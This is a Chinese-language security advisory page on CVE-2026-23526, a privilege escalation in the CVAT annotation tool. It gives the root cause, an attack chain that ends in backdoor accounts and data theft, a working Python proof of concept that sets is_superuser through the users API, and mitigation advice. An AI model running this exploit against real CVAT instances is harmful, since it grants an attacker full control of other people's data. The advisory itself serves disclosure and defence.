IPBUF安全漏洞报告
English
CVE-2026-23526 CVSS 8.8 高危

CVE-2026-23526 | CVAT staff权限用户权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23526
漏洞类型
权限提升/越权访问
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CVAT (Computer Vision Annotation Tool)

相关标签

权限提升越权访问CVATCVE-2026-23526高危漏洞身份认证绕过计算机视觉工具开源软件

漏洞概述

CVAT是一个开源的交互式视频和图像标注工具,广泛用于计算机视觉领域的数据标注工作。该工具支持团队协作,提供项目管理、任务分配、标注审核等功能。在CVAT 1.0.0至2.54.0版本中,存在一个严重的权限提升漏洞。拥有staff(工作人员)身份的用户可以通过API接口或前端界面自由修改自己的账户权限,包括但不限于将自己提升为超级用户(superuser)权限,或者将自己添加到管理员组(admin group)中。一旦攻击者获得超级用户权限,即可完全控制整个CVAT实例,访问、修改或删除所有项目数据、用户信息、标注任务等敏感数据。此漏洞被CVSS 3.1评分8.8,属于高危级别,攻击复杂度低,无需特殊用户交互即可完成攻击。

技术细节

漏洞根因在于CVAT权限验证机制不完善。在受影响版本中,具有staff身份的用户调用用户资料更新接口时,系统未正确校验权限变更请求的合法性。攻击者只需构造特定的API请求,将自身的is_superuser字段设置为true,或将group字段修改为包含admin的组ID,即可完成权限提升。具体技术细节如下:1) 漏洞存在于用户权限更新API端点(通常为/api/v1/users/{user_id});2) 后端仅验证当前用户是否具有staff状态,未检查权限变更操作的权限要求;3) 攻击者可以利用PATCH或PUT请求修改自身用户对象;4) 成功利用后,攻击者获得所有管理员权限,包括系统配置、用户管理、数据导出等敏感功能。攻击者可通过GraphQL或REST API发起请求,配合有效的认证令牌即可完成利用。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标CVAT实例版本,确认版本在1.0.0-2.54.0范围内,并获取登录入口
STEP 2
初始访问
攻击者获取一个具有staff身份的普通用户账户,可通过社会工程、弱口令爆破或窃取凭据实现
STEP 3
权限枚举
使用staff账户登录CVAT,通过API获取当前用户信息和可用权限端点
STEP 4
权限提升
构造特制的PATCH请求,修改当前用户对象,将is_superuser设为true或将groups改为admin
STEP 5
持久化控制
成功提升权限后,添加后门账户或修改其他用户权限,建立持久化访问通道
STEP 6
数据窃取/破坏
利用超级用户权限访问所有项目数据、标注结果、用户信息,或导出/删除敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-23526 PoC - CVAT Staff Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import requests import json TARGET = "http://target-cvat-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """Exploit privilege escalation vulnerability in CVAT""" session = requests.Session() # Step 1: Login to get authentication token login_url = f"{TARGET}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None print("[+] Login successful") token = response.json().get('key') or session.cookies.get('csrftoken') # Step 2: Get current user ID user_url = f"{TARGET}/api/v1/users/self" response = session.get(user_url) user_id = response.json().get('id') print(f"[+] Current user ID: {user_id}") # Step 3: Escalate privileges to superuser update_url = f"{TARGET}/api/v1/users/{user_id}" headers = { "X-CSRFToken": session.cookies.get('csrftoken'), "Referer": TARGET } # Payload to grant superuser privileges exploit_data = { "is_superuser": True, "groups": ["admin"] } response = session.patch(update_url, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] Privilege escalation successful!") print("[+] User is now a superuser with full admin access") return True else: print(f"[-] Exploit failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": exploit()

影响范围

CVAT < 2.55.0

防御指南

临时缓解措施
立即审查CVAT系统中具有staff身份的用户列表,撤销所有不应拥有超级用户权限的用户的staff状态。可以通过管理后台或API(/api/v1/users?group=staff)查询staff用户。同时建议升级到CVAT 2.55.0版本以彻底修复该漏洞。如无法立即升级,应暂时禁用CVAT的外部访问,仅允许可信IP访问管理接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表